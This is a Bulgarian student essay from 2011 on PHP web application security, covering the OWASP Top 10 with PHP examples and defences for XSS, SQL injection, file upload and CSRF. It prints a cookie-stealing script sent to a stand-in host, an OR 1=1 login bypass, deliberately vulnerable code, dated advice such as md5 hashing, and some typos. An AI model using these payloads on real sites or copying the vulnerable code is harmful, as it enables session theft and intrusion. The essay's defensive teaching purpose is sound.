PHP Security

27
Икономически университет – Варна център „Магистърско обучение” РЕФЕРАТ на тема Сигурност на PHP приложения Изготвил: Проверил: Пламена Маринова, ф.н. 9175 Доц. д-р Стефан Дражев 51 гр. спец. Информатика СС гр. Варна, 2011

description

Сигурност на PHP уеб приложения.

Transcript of PHP Security

Page 1: PHP Security

Икономически университет – Варна

център „Магистърско обучение”

РЕФЕРАТ

на тема

Сигурност на PHP приложения

Изготвил: Проверил:

Пламена Маринова, ф.н. 9175 Доц. д-р Стефан Дражев

51 гр. спец. Информатика СС

гр. Варна, 2011

Page 2: PHP Security

2

Въведение ................................................................................................................. 4

I. Най-често срещани атаки при уеб приложенията ....................................... 5

1. Cross Site Scripting (XSS) ............................................................................... 5

2. SQL Injection .................................................................................................... 7

3. Malicious File Execution .................................................................................. 9

4. Insecure Direct Object Reference ................................................................... 10

5. Cross-Site Request Forgery ............................................................................ 11

6. Information Leakage and Improper Error Handling ....................................... 12

7. Broken Authentication and Session Management .......................................... 13

8. Insecure Cryptographic Storage...................................................................... 14

9. Insecure Communications ............................................................................... 14

10. Failure to Restrict URL Access ................................................................... 15

II. Атаките при PHP приложенията и предпазване от тях .......................... 16

1. Cross-Site Scripting (XSS) ............................................................................. 16

1.1. Пример ..................................................................................................... 16

1.2. Пре дпазване ........................................................................................... 17

2. SQL Injection .................................................................................................. 18

2.1. Пример ..................................................................................................... 18

2.2. Предпазване ............................................................................................ 19

3. Malicious File Execution ................................................................................ 20

3.1. Пример ..................................................................................................... 20

3.2. Предпазване ............................................................................................ 22

Page 3: PHP Security

3

4. Cross-Site Request Forgery (CSRF) ............................................................... 23

4.1. Пример ..................................................................................................... 23

4.2. Предпазване ............................................................................................ 24

III. Софтуер за тестване сигурността на PHP приложения ......................... 25

1. PHP Security Scanner ..................................................................................... 25

2. Spike PHP Security Audit ............................................................................... 25

3. PIXY ............................................................................................................... 26

Заключение ............................................................................................................ 26

Page 4: PHP Security

4

Въведение

Изключителната гъвкавост при разработването на динамични уеб

приложения, която PHP1 предлага, го прави един от най-разпространените

езици за уеб програмиране днес. За популярността на PHP допринася и

лесната му интеграция с други нструменти с отворен код, като системата за

управление на бази от данни MySQL и уеб сървъра Apache. С популярността

на езика нараства броя на уеб приложенията написани на PHP и възниква

въпросът за сигурността на тези приложения.

Именно гъвкавостта, която прави PHP толкова разпространен език, е

причината повечето неопитни разработчици да допускат грешки, които водят

до пробиви в сигурността. PHP е динамичен език, който позволява на

програмистите лесно да постигат решаването на проблеми, които биха били

значително по-трудни за реализиране с езици като C# или Java2. Заедно с

предимствата обаче, тази гъвкавост има и недостатъци, които се изразяват

най-вече в липса на механизми контролиращи сигурността. Проблемът със

сигурността на PHP приложенията е оставен изцяло в ръцете на

разработчиците, което често води до пропуски, особено при начинаещите

такива. Всеки пропуск в сигурността рано или късно излага приложението на

злонамерни атаки, някои от които могат да окажат успешни.

Тук ще разгледаме най-често срещаните атаки, които застрашават уеб

приложенията, как тези атаки се осъществяват при PHP сайтовете и как

разработчиците могат да ги предпазят от тях.

1 PHP – PHP: Hypertext Preprocessor, скриптов сървърен език за програмиране

2 C#, Java – обектно-ориентирани езици за програмиране, които са строго типизирани

Page 5: PHP Security

5

I. Най-често срещани атаки при уеб приложенията

Open Web Application Security Project (OWASP) е организация с

нестопанска цел, представляваща отворена общност, която се стреми да

подпомогне разработчиците при създаването на сигурни уеб приложения.

Един от проектите на организацията, OWASP Top Ten, е посветен на атаките

компрометиращи сигурността при уеб приложенията и дефинира 10-те най-

разпространени от тях. Следват 10-те най често срещани атаки при уеб

приложения за 2010 година според класацията на OWASP.

1. Cross Site Scripting (XSS)

Cross Site Scripting, oще известна като XSS3, е най-разпространеният вид

атака към уеб приложения. Тя се състои във вмъкване и изпълнение на

злонамерен код в иначе надежден сайт. При XSS атаките, атакуващият

изпраща злонамерен код на други потребители, като се възползва от пробив в

сигурността на сайтове, които те използват. Обикновено такива пробиви се

дължат на липсата на валидация4

и филтриране5

на входните данни на

приложението, които постъпват чрез уеб форми попълнени от потребителя

или под формата на параметри в клиентските заявки (URL параметри).

XSS атаките могат да доведат до изпълнение на злонамерен код от

браузъра на потребител, който не подозира за атаката. Тъй като сайтът, чрез

3 Tъй като абревиатурата CSS е широко разпространена и се използва за каскадни стилове (Cascading Style

Sheets), за да не възниква объркване, aбревиатурата на Cross Site Scripting е XSS.

4 Валидация на данни – проверка за съответствие на данните с определени критерии и ограничения.

5 Филтриране на данни – „изчистване” на данните от определени специални символи, например премахване

на HTML тагове от текст, който се визуализира в уеб страница и др.

Page 6: PHP Security

6

който се изпълнява атаката, се смята от потребителя за надежден, всички

клиентски скриптове на него се изпълняват, включително и злонамерените.

Злонамереното съдържание е най-често под формата на JavaScript6 код,

чието действие обикновено се изразява в достъп до „чувствителни” данни,

като сесийна информация, бисквитки, пароли и др., или препращане на

жертвата към друг сайт, контролиран от атакуващия.

XSS атаките се делят на три основни вида:

Non-persistent (Reflected)

Този тип XSS атака е възможна при сайтове, в които входни

данни предоставени от уеб клиента (най-често под формата на

параметри в HTTP заявка), се визуализират директно в браузъра на

потребителя. Атаката се осъществява чрез специално подготвен линк,

който се възползва от пропуска в сигурността на сайта. Атакуващият

изпраща линка на жертвата (чрез e-mail например), като го „маскира”,

така че да изглежда, като нормална препратка към сайт. Тъй като

потребителят има доверие на сайта, той отваря линка и става жертва на

атаката.

Persistent (Stored)

Този тип XSS атака е възможна при сайтове, в които данни

предоставени от потребителя се съхраняват на сървъра и се използват

за генериране на динамично съдържание, без да се валидират или

филтрират. Атакуващият се представя за редовен потребител на сайта и

изпраща злонамерено съдържание, което се съхранява на сървъра.

6 JavaScript – скриптов език за програмиране, най-често използван за динамична обработка на уеб страници

Page 7: PHP Security

7

Когато други потребители посетят страницата, където това съдържание

се визуализира, те стават жертва на атаката. Атаки от този тип са най-

често срещани в приложения, които позволяват на потребителите да

изпращат коментари към съдържанието на страниците. Вместо

стандартен коментар, атакуващият изпраща код, който при липса на

валидация се изпълнява за всички потребители, които видят коментара.

Този тип атаки са и по-мощни, тъй като достигат до всички

потребители, които отворят компрометираната уеб страница.

DOM Based

По-рядко се срещат DOM7 базираните атаки, които се изпълняват

изцяло от страна на клиента. Те са възможни, когато JavaScript код

използва директно данни от DOM обекти. Типичен пример за това е

код, който използва данните от URL адреса достъпни чрез

document.location без да ги валидира.

2. SQL Injection

На второ място сред уязвимостите на уеб приложения се нарежда SQL

Injection атаката. Тя се състои във вмъкване и изпълнение на SQL8 заявка,

чрез манипулиране входните данни на приложението. Успешна SQL

инжекция може да доведе до разкриване на „чувствителна” информация от

базата данни, модифициране на данните в базата – добавяне, промяна,

изтриване на данни и др.

7 DOM – Document Object Model, конвенция за представяне и взаимодействие с обекти в

HTML, XHTML, XML документи

8 SQL – Structured Query Language, език за дефиниране на заявки към релационни бази от данни.

Page 8: PHP Security

8

SQL инжекции са възможни при изпълнение на SQL заявки, които се

конструират динамично, на база на данни въведени от потребителя. Когато

въведените данни се използват директно, без да се валидират, е налице

сериозен пропуск в сигурността, от който атакуващият може да се възползва.

Последствията от осъществяване на успешна атака чрез SQL инжекция

могат да бъдат много сериозни, като основните от тях са:

Неправомерен достъп до поверителни данни

Най-често целта на подобни атаки е разкриване на поверителна

информация за потребителите на сайта, като данните им за достъп,

лични данни и др. Разкриването на данните за достъп, като пароли и

потребителски имена, може да компрометира и сигурността на други

сайтове, тъй като потребителите често имат навика да ги използват за

достъп до няколко приложения едновременно.

Неправомерна автентикация и оторизация

Ако SQL командите за проверка на данните и правата за достъп на

потребителите не са защитени, чрез SQL инжекция, атакуващият може

да получи достъп до системата от името на друг потребител или да

получи достъп до ресурси, за които няма права.

Неправомерна модификация на данни

Освен до прочитане на поверителни данни, SQL инжекциите могат

да доведат и до тяхното модифициране, включително и изтриване. При

успешна подобна атака, атакуващият е сподобен да изтрие цялото

съдържание в базата от данни на приложението.

Page 9: PHP Security

9

Пример от реалния свят за подобна атака е SQL инжекцията, атакувала

сайта на MySQL9 през март тази година, в резултат на която атакуващият е

получил достъп до потребителските акаунти и пароли. Неправомерно

придобитите данни са били публикувани, като те включвали и разбити

пароли на ключови фигури в компанията.

3. Malicious File Execution

Третата най-разпространена атака при уеб приложенията е неправо-

мерното изпълнение на файлове със злонамерено съдържание. Подобна атака

е възможна при сайтове, които включват файлове, чието име се генерира

динамично или директно използват файлове предоставени от потребителя,

без да проверят тяхното съдържание. Последствията от подобен тип атаки

могат да бъдат всевъзможни, тъй като атакуващият може да включи всякакво

съдържание във файла, който използва за атаката.

Най-често уязвими са сайтове, които позволяват на потребителя да

съхранява файлове на уеб сървъра, като изображения, документи и др.

Пропуск в сигурността имат тези сайтове, в които при изпращане на файл от

потребителя не се извършва проверка за неговия тип. Това позволява на

атакуващия да изпрати изпълними файлове, които могат да изпълнят

злонамерен код на сървъра. Тази атака е особено опасна, ако

компрометираният сайт използва споделен хостинг, тъй като атакуващият

може да я използва, за да атакува други приложения.

Друг метод за реализиране на подобна атака засяга сайтове, при които в

съдържанието на дадена уеб страница се включва и изпълнява код от друг

9 MySQL – широко разпространена система за управление на бази от данни (СУБД)

Page 10: PHP Security

10

файл. Това е често срещан метод за организация на кода в уеб приложенията,

целяща да се избегне дублирането на програмен код. Когато името на файла,

който се включва се генерира динамично и при това се използват данни

предоставени от клиента, приложението става уязвимо, тъй като атакуващият

може да включи и изпълни друг файл.

4. Insecure Direct Object Reference

Такъв вид пропуск в сигурността се получава, когато разработчиците на

системата по погрешка предоставят достъп до вътрешен за системата ресурс,

примерно файл, директория, запис от база от данни или секретен ключ, като

параметър на форма или URL. Тогава е възможно да се организира атака,

чрез манипулиране на тази референция. При това може да се получи достъп

до иначе защитени ресурси без автектикация.

Примерно, при приложенията за Интернет банкиране е често срещано да

се използва номера на сметката като първичен ключ в базата данни на

приложението. Често освен това този номер на сметката се използва директно

в уеб интерфейса на системата. Дори и да се използват параметризирани SQL

заявки за предотвратяване на SQL инжекция, ако не е предвидена проверка

дали текущият потребител е собственик на заявената сметка и е ауторизиран

да я достъпи, може да се състави атака, която да достъпи или промени всички

банкови сметки.

Подобен тип атака е организирана срещу сайта на австралийската данъчна

служба през 2000г. Тогава легитимен потребител променял номера на

банковата сметка в URL-те на приложението. При това той успял да извлече

17 000 банкови сметки на най-различни компании. След това той разпратил

на всяка една от тези компании електронна поща с извлечената за нея

Page 11: PHP Security

11

информация. Това придизвикало смут и огромен скандал в Австралия.

Въпреки, че подобен тип пропуск в сигурността е често срещан, той често е

подминаван от разработчиците.

5. Cross-Site Request Forgery

Това е вид атака, при която потребител на уеб приложение се принуждава

да изпълни нежелани действия с приложението от свое име. За тази цел на

потребителя се предоставя страница, съдържаща предварително подготвена

заявка към приложението. Тази заявка е естествено скрита от потребителя и

той я зарежда без да подозира за реалното ѝ действие. Тъй като потребителят

е автентициран, по този начин заявката се изпълнява от негово име. По този

начин е възможно потребителят, без да е наясно, да изпълни действия, които

не желае. Пример за подобни действия са: промяна на паролата на

потребителя или неговия e-mail адрес, закупуване на стока и др.

Подобен тип атака може да се използва още за достъп до поверителна

информация. При заявка към сайт, браузърите автоматично включват към

заявките поверителна информация, свързана със сайта, като сесийна

бисквитка (session cookie), некриптирани автентикационни параметри, IP

адрес и др. Ето защо, ако потребителят е вече автентициран за сайта,

действията изпълнени от него са напълно легитимни за този сайт. Понякога е

възможно подобен вид атака да бъде съхранена на самият сайт. Това се

осъществява чрез съхраняване на елемент от тип IMG или IFRAME в поле,

приемащо HTML като текст. Възможно е да се постигне и чрез XSS атака.

При това при визуализиране на стойността на това поле, HTML съдържанието

в него се изпълнява и на практика инициира атаката. Това прави атаката по-

мощна, както поради факта че може да бъде изпълнена многократно, така и

Page 12: PHP Security

12

поради факта че се стартира индиректно от самия сайт, на който потребителя

се доверява и за който е вече автентициран. Този тип атака е по-често срещан.

Този вид атаки са известни под множество имена, сред които: XSRF, "Sea

Surf", Session Riding, Cross-Site Reference Forgery, Hostile Linking. Те се

наричат още One-Click attack в терминологията на Microsoft документацията.

6. Information Leakage and Improper Error Handling

Този тип пропуск в сигурността се дефинира като изтичане на информация

и неправилна обработка на грешки. Приложенията могат, без да имат такова

намерение, да издадат информация, засягаща тяхната конфигурация,

вътрешна информация или да нарушат поверителността на данните си, при

редица програмни грешки. Често тази информация може да бъде използвана

за създаване на атаки към тези приложения.

В процеса на работата си, приложенията генерират съобщения за грешка,

които впоследствие се показват на потребителите им. Тези съобщения могат

да бъдат полезни на зложелатели, ако разкриват информация, която може да

се използва за атака. Най-често такъв вид информация е:

Визуализиране на съобщение за грешка, съдържащо информация

като: стек на изпълнение на изключение, грешка в SQL изрази или

друга информация, необходима на разработчика.

Функции, които генерират различни резултати, на база на различен

вход. Като пример може да се посочи функция за автентикация с

потребителско име, която трябва да генерира един и същи текст за

грешка, както при сгрешено потребителско име, така и при сгрешена

парола.

Page 13: PHP Security

13

7. Broken Authentication and Session Management

Автентикацията и управлението на потребителските сесии са критичен

елемент в сигурността на едно уеб приложение. Често потребители на сайтове

стават жертва на атака, поради не добре реализиран механизъм за управление

на достъпа до приложението. Атакуващият се възползва от пропуските в този

механизъм, в резултат на което може да получи достъп до приложението от

името на друг потребител и да извърши неправомерни действия.

Подобни пропуски в сигурността се дължат най-вече на слаби механизми

за управление на достъпа. В повечето уеб приложения, той се осъществява

само чрез потребителско име и парола, поради което приложенията стават

уязвими, ако данните за достъп бъдат разкрити. Сред причните за това са:

Следене на трафика между потребителя и приложението. Когато

потребителят се идентифицира и данните му за достъп

(потребителско име и парола) се изпращат към приложението в

некриптиран вид, е възможно атакуващият да се сдобие с тях, ако

следи трафика между тях.

Разкриване на пароли с „груба сила”. Ако механизмът за

идентифициране на потребителите не налага ограничение на броя

невалидни опити за логин, то тогава е възможно чрез изреждане на

различни възможности да се открие потребителската парола.

Несигурно съхранение на данните. Данните за достъп са уязвими

не само когато се изпращат към сървъра в некриптиран вид, но и

когато се съхраняват в некриптиран вид. Ако съдържанието на

базата от данни се разкрие неправомерно, чрез SQL инжекция

например, то и данните за достъп ще бъдат разкрити.

Page 14: PHP Security

14

Разкриване на потребителски имена. Често паролата се приема

като единствен механизъм за достъп до потребителските акаунти, но

реално достъпът се осъществява чрез комбинация от потребителско

име и парола. Чест пропуск в сигурността на приложенията е

разкриването на потребителски имена, който улеснява атакуващият

при разкриване на данните за достъп.

8. Insecure Cryptographic Storage

Защитата на поверителна информация с помощта на криптография е

ключов елемент на повечето уеб приложения. Голям брой от приложенията

не успяват да криптират тази информация. Сред проблемите тук се явяват

неправилен криптографски дизайн, неефикасни шифри или грешки при

използването на добри такива. Тези пропуски могат да доведат до изтичане на

тази информация и от там до сериозни проблеми.

Най-често срещаните пропуски тук са:

Липса на шифриране на поверителна информация;

Използване на собствено-ръчно написани алгоритми;

Несигурно използване на добри алгоритми;

Използване на доказано слаби алгоритми (MD5, SHA-1 и др.) ;

Ключове въведени в програмния код или съхранени в некриптиран

вид.

9. Insecure Communications

Приложенията често не успяват да осигурят криптиран мрежов трафик,

когато е необходимо да се защитят поверителни комуникации. Криптиране

Page 15: PHP Security

15

(най-често SSL) трябва да се използва за всички автентицирани конекции,

особенно за уеб страници, но и за сървърни конекции освен това. В противен

случай информация за автентикация или сесия ще бъдат публично достъпни и

могат да бъдат прихванати. В допълнение, криптиране трябва да се използва

там, където поверителна информация, като номер на кредитна карта или

здравна информация, се предава.

10. Failure to Restrict URL Access

Голям пропуск в сигурността на много уеб приложения е наличието на

страници, чиято единствена защита е „скриването” им от редовните

потребители. Предполага се, че такива страници са достъпни само за

потребители, които знаят за тяхното съществуване, т.е. знаят техния адрес.

Въпреки че вероятността атакуващият да открие подобни страници е малка,

това е напълно възможно, ако той е достатъчно мотивиран, опитен или просто

има късмет.

Page 16: PHP Security

16

II. Атаките при PHP приложенията и предпазване от тях

1. Cross-Site Scripting (XSS)

Не случайно XSS атаките са най-разпространеният тип. Те засягат уеб

приложения на всякакви платформи, като PHP приложенията са особено

уязвими. Често срещана грешка, която може да доведе до XSS атака е

неправилното директното използване на данни въвеждани от потребителя.

1.1. Пример

Ако в примерно уеб приложение на потребителя се позволява да

въвежда коментари чрез следната форма:

<form action="comment.php" method="POST">

Име: <input type="text" name="name" />

Коментар: <textarea name="comment"></textarea>

<input type="submit" value="Добави коментара" />

</form>

И кодът, който визуализира коментарите изглежда така:

<?php

echo "<div class='comment'>

echo " <p>$name написа:</p>";

echo " <blockquote>$comment</blockquote>";

echp "</div>";

?>

Подобно приложение би било уязвимо, тъй като съдържанието на

променливите $name и $comment не се филтрира, за да се избегне

изпълнението на злонамерен код, като този:

Page 17: PHP Security

17

<script type="text/javascript">

document.location =

'http://evil.code.com/steal.php' +

?cookies=' + document.cookie;

</script>

Изпълнението на подобен код може да предостави на атакуващия

информацията от бисквитките на всеки потребител, който отвори страницата

с коментара. В бисквитките често се съдържа поверителна информация, която

идентифицира потребителя.

1.2. Пре дпазване

Предпазването от подобен тип атаки се осъществява лесно и най-вече

зависи от добрите навици на програмистите. Атаката е възможна само при

приложения, които директно използват входни данни, без да ги обработват.

Ето защо за предотвратяването ѝ е достатъчно входните данни да се

валидират, а изходните – да се филтрират. Най-лесно в PHP това може да се

постигне чрез функцията htmlentities, която превръща всички специални

HTML символи в техните съкращения, така че те не се третират като HTML

код и не се изпълняват.

<?php

$name = htmlentities($name);

$comment = htmlentities($comment);

?>

Ако всички входни данни се обработят правилно, преди да се визуализират

при клиента, то сайтът е предпазен от вмъкване на злонамерен код по този

начин.

Page 18: PHP Security

18

2. SQL Injection

SQL инжекциите са втората най-разпространена атака при уеб приложе-

нията, но специално при PHP те са може би на първо място. Причината за

това е начинът, който най-често се използва за конструиране на SQL заявки.

2.1. Пример

Ако в примерно уеб приложение се използва следната форма, чрез

която потребителите се логват в приложението:

<form action="login.php" method="POST">

Потребител: <input type="text" name="username" />

Парола: <input type="text" name="password" />

<input type="submit" value="Вход" />

</form>

И кодът, който конструира заявка, проверяваща дали въведените данни

отговарят на валиден потребителски акаунт, е следния:

<?php

$username = $_POST['username'];

$password = md5($_POST['password']);

$sql = "SELECT COUNT(id) FROM users WHERE ";

$sql.= "username='$username' AND password='$password'";

?>

Подобно приложение е уязвимо, тъй като въведеното потребителско

име се използва директно в заявката и ако вместо валидно потребителско име,

атакуващият въведе следното:

Page 19: PHP Security

19

SQL заявката ще изглежда по подобен начин:

SELECT COUNT(id) FROM users WHERE

username='myuser' OR 1=1 –-' AND

password='a029d0df84eb5549c641e04a9ef389e5';

Подобна заявка може да позволи на атакуващият да получи

потребителски достъп до приложението, без да предоставя валидни

потребителски данни. Ако атакуващият знае и потребителското име на някой

от акаунтите, то тогава е възможно да получи достъп от името на този

потребител, като замени „myuser” с името.

2.2. Предпазване

Предпазването от SQL инжекция е също толкова лесно, колкото и при

XSS атаките и се основава на правилото – всички входни данни да се

обработват преди да се използват. За целта при конструирането на SQL

заявки, в които трябва да участват параметри, предоставени от потребителя,

трябва да се премахнат всички специални символи, които могат да се

интерпретират при нейното изпълнение. Такива символи са кавички,

апострофи, точка и запетая и др. За MySQL може да се използва функцията

mysql_real_escape_string:

<?php

$username = mysql_real_escape_string($_POST['username']);

$password = md5($_POST['password']);

?>

Ако всички данни се филтрират по подобен начин, приложението няма

как да бъде уязвимо от такъв тип атака.

Page 20: PHP Security

20

3. Malicious File Execution

Неправомерното изпълнение на файлове е една от най-сериозните заплахи

за уеб приложенията, тъй като тя дава на атакуващия голяма свобода и почти

неограничени възможности за злоупотреба. Атаката най-често се осъществява

при приложения, които предлагат на потребителите възможност за качване на

файлове на сървъра. Слабото място на много PHP приложения е именно

скриптът за качване на файлове.

3.1. Пример

Нека вземем за пример приложение, в което чрез следната форма

потребителят може да качи някакво изображение в jpg формат:

<form action="upload.php" method="POST"

enctype="multipart/form-data">

Изберете изображение:

<input type="file" name="picture" />

<input type="submit" value="Качване" />

</form>

Скриптът, който проверява и записва изображението е следния:

<?php

$picture = $_FILES['picture'];

$filename = "pictures/" . basename($picture['name']);

if($picture['type'] != "image/jpg") {

echo "Невалиден формат! Моля, опитайте отново.";

exit;

} else {

move_uploaded_file($picture['tmp_name'],$filename);

}

?>

Page 21: PHP Security

21

Този скрипт проверява дали типа на качения файл е изображение и ако

това е така, файлът се записва в папката pictures на сървъра. Много PHP

скриптове разчитат на подобен вид проверка, но за съжаление тя е несигурна,

тъй като типа, по който се проверява се взима от content-type в заглавната част

на HTTP заявката. Тази информация може лесно да се манипулира, така че да

се изпрати заявкa, която реално изпраща .php файл, но като тип на

съдържанието да се зададе image/jpg, какъвто сървърът очаква. Ако подобна

заявка е успешна, то атакуващият може да напише злонамерен PHP скрипт, да

го качи на сървъра и да го изпълни.

Друг метод за разпознаване на изображения, който често се среща в

PHP приложенията е чрез функцията getimagesize, която връща типа и

размера на дадено изображение. Ако файлът, който се провети с getimagesize,

не е изображение, то типа и размера няма да бъдат валидни стойности:

<?php

$picture = $_FILES['picture'];

$picture_info = getimagesize($picture['tmp_name']);

$filename = "pictures/" . basename($picture['name']);

if($picture_info['type'] != "image/jpg") {

echo "Невалиден формат! Моля, опитайте отново.";

exit;

} else {

move_uploaded_file($picture['tmp_name'],$filename);

}

?>

За съжаление подобна проверка само прави атаката малко по-сложна.

Причината за това е, че един файл може да бъде едновременно валидно

изображение и PHP скрипт, тъй като повечето формати за изображения

Page 22: PHP Security

22

позволяват наличието на коментари във файловете. Възможно е да се създаде

изображение, което да има коментари, съдържащи PHP код. Когато подобен

файл се тества с getimagesize, той се смята за валиден. Когато се изпълни, PHP

интерпретаторът ще пропусне съдържанието на изображението, но ще

изпълни всеки код в PHP тагове.

3.2. Предпазване

Каквито и проверки да се направят, пак съществува възможност в тях

да има пропуск, който да позволи на атакуващият да качи и изпълни файл със

злонамерено съдържание. Решението на проблема е просто. Ако атакуващият

няма достъп до качените файлове, то той няма как да изпълни злонамерения

код. В горния пример атаката е възможна, тъй като качените файлове могат

да се изпълнят чрез подобна заявка:

http://www.example.org/pictures/evil_script.php

Качените файлове са достъпни за всеки, тъй като папката, в която се

записват се намира в публичната директория на сървъра. За да се

предотвратят подобен тип атаки, се препоръчва всички файлове, които се

качват от потребители, да се съхраняват извън публичната директория, т.е. да

се ограничи достъпа до тях. Като допълнителна мярка за сигурност, може

всички файлове да се преименуват при тяхното качване, така че атакуващият

да не знае какво име е получил качения от него файл.

<?php

$picture = $_FILES['picture'];

$picture_info = getimagesize($picture['tmp_name']);

$filename = "../pictures/" . time() . ".jpg");

?>

Page 23: PHP Security

23

4. Cross-Site Request Forgery (CSRF)

Този тип атака може да засегне всякакви уеб приложения и не е

специфичен за PHP. При CSRF атакуващият прави така, че авторизиран

потребител на приложене неволно да изпълни заявка от свое име.

4.1. Пример

Нека вземем за пример електронен магазин, в който чрез следната

форма може да е изпрати заявка за закупуване на химикали или моливи:

<form action="buy.php" method="POST">

Артикул: <select name="product"><option>pen</option>

<option>pencil</option></select>

Количество: <input type="text" name="quantity" />

<input type="submit" value="Поръчай" />

</form>

Ако кодът, който обработва данните от формата е подобен:

<?php

// проверка за автентициран потребител

$item = $_REQUEST['item'];

$quantity = $_REQUEST['quantity']);

if(is_valid($item) && is_valid($quantity))

buy_item($item, $quantity);

?>

Тъй като се използва супер глобалната променлива $_REQUEST,

същата заявка може да се осъществи и чрез метода GET:

http://store.example.org/buy.php?item=pen&quantity=1

Page 24: PHP Security

24

Ако атакуващият знае формата на заявката, чрез която автентициран

потребител може да направи покупка, то за да извърши атаката, е достатъчно

да накара потребителя да посети подобен линк, без неговото знание. Това

може да стане и индиректно чрез използване на изображение, например:

<img src="http://store.example.org/buy.php

?item=pen&quantity=50" />

Ако потребителят посети страница с подобно изображение, то

неправомерната заявка ще се изпълни от негово име, а той дори няма да

разбере за това.

4.2. Предпазване

Първата стъпка към предпазване от подобен тип атаки е използването на

$_POST променливата вместо $_REQUEST. В $_REQUEST съдържат всички

параметри от заявката, незвисимо с кой метод са изпратени (GET или POST).

Използването на $_POST няма да премахне напълно опасността от атака, но

ще направи по-трудно изпълнението на заявката от страна на потребителя,

тъй като няма да може да се използва GET заявка, както в горния пример.

Като втора стъпка може да се предприеме използването на токен10

код,

който е уникален за потребителската сесия. Ако кодът се включва преди

изпращането на заявката и се проверява за съвпадение при нейното

обработване, то риска значително намалява.

<?php

session_start();

if($_POST['token']==$_SESSION['token']) // валидна заявка

?>

10

От англ. token

Page 25: PHP Security

25

III. Софтуер за тестване сигурността на PHP приложения

Тъй като PHP е широко разпространен език и PHP приложенията са

особено уязвими към най-често срещаните атаки, за да се подпомогнат

разработчиците съществуват инструмени, чрез които приложенията могат

автоматично да се тестват за пробиви в сигурността. Такива са PHP Security

Scanner11

, Spike PHP Security Audit12

, PIXY13

и др.

1. PHP Security Scanner

PHP Security Scanner е безплатен инструмент, изцяло написан на PHP,

който при посочване на файл или директория с PHP скриптове, сканира

тяхното съдържание за евентуални проблеми със сигурността. Търсенето се

осъществява чрез шаблони за уязвим код, с които скриптовете се сравняват.

Когато подобно съвпадение бъде намерено, инструментът дава информация

за това къде се намира открития проблем и описание на проблема.

Недостатък на инструмента е, че не е лесен за използване, инсталацията и

конфигурацията стават на ръка, работи се с команден интерфейс.

2. Spike PHP Security Audit

Spike PHP Security Audit е друг безплатен инструмент, написан на PHP.

При посочване на файл или директория за проверка, той генерира отчет в

HTML формат, който лесно може да се прегледа. Предимството му пред PHP

Security Scanner е, че се използва значително по-лесно. Необходимо е

единствено да се разархивира на сървъра и да се изпълни файла run.php,

който извършва сканирането за уязвимости.

11

http://sourceforge.net/projects/securityscanner/

12 http://sourceforge.net/projects/phpsecaudit/

13 http://pixybox.seclab.tuwien.ac.at/pixy/

Page 26: PHP Security

26

3. PIXY

PIXY е инструмент, написан на Java, предназначен за откриване на

уязвимости от XSS атаки и SQL инжекции. Инструментът приема като вход

PHP скрипт и генерира отчет, в който са включени и описани възможните

слаби места в сигурността. За съжаление PIXY поддържа само PHP4 код,

което го прави полезен само за стари приложения.

Заключение

Въпреки че могат да бъдат полезни, подобни инструменти не са

достатъчни, за да се прецени дали едно PHP приложение е сигурно. Много от

уязвимостите към описаните атаки не могат да бъдат открити автоматично.

Ето защо, от най-голямо значение за сигурността на едно уеб приложение са

опита и добрите навици на програмистите.

Page 27: PHP Security

27

Използвана литература

1. Шифлет, Крис. Основи на PHP сигурността. O’Reilly, 2005.

2. Secure file upload in PHP web applications.

http://www.scanit.be/uploads/php-file-upload.pdf.

3. OWASP Top 10 – 2010. The ten most critical web application security risks.

http://owasptop10.googlecode.com/files/OWASP Top 10 - 2010.pdf.

4. SQL Injection Attacks by Example.

http://unixwiz.net/techtips/sql-injection.html.

5. PHP and the OWASP Top Ten Security Vulnerabilites.

http://www.sklar.com/page/article/owasp-top-ten.

6. PHP Security Manual.

http://us3.php.net/manual/en/security.php.

7. Cross Site Scripting (XSS) Cheat Sheet.

http://ha.ckers.org/xss.html.

8. Improving web application security: threats and countermeasures.

http://www.cgisecurity.com/lib/Threats_Countermeasures.pdf.

9. PHP Security Guide.

http://shiflett.org/php-security.pdf.

10. A Guide to Building Secure Web Applications and Services.

http://prdownloads.sourceforge.net/owasp/OWASPGuide2.0.1.pdf.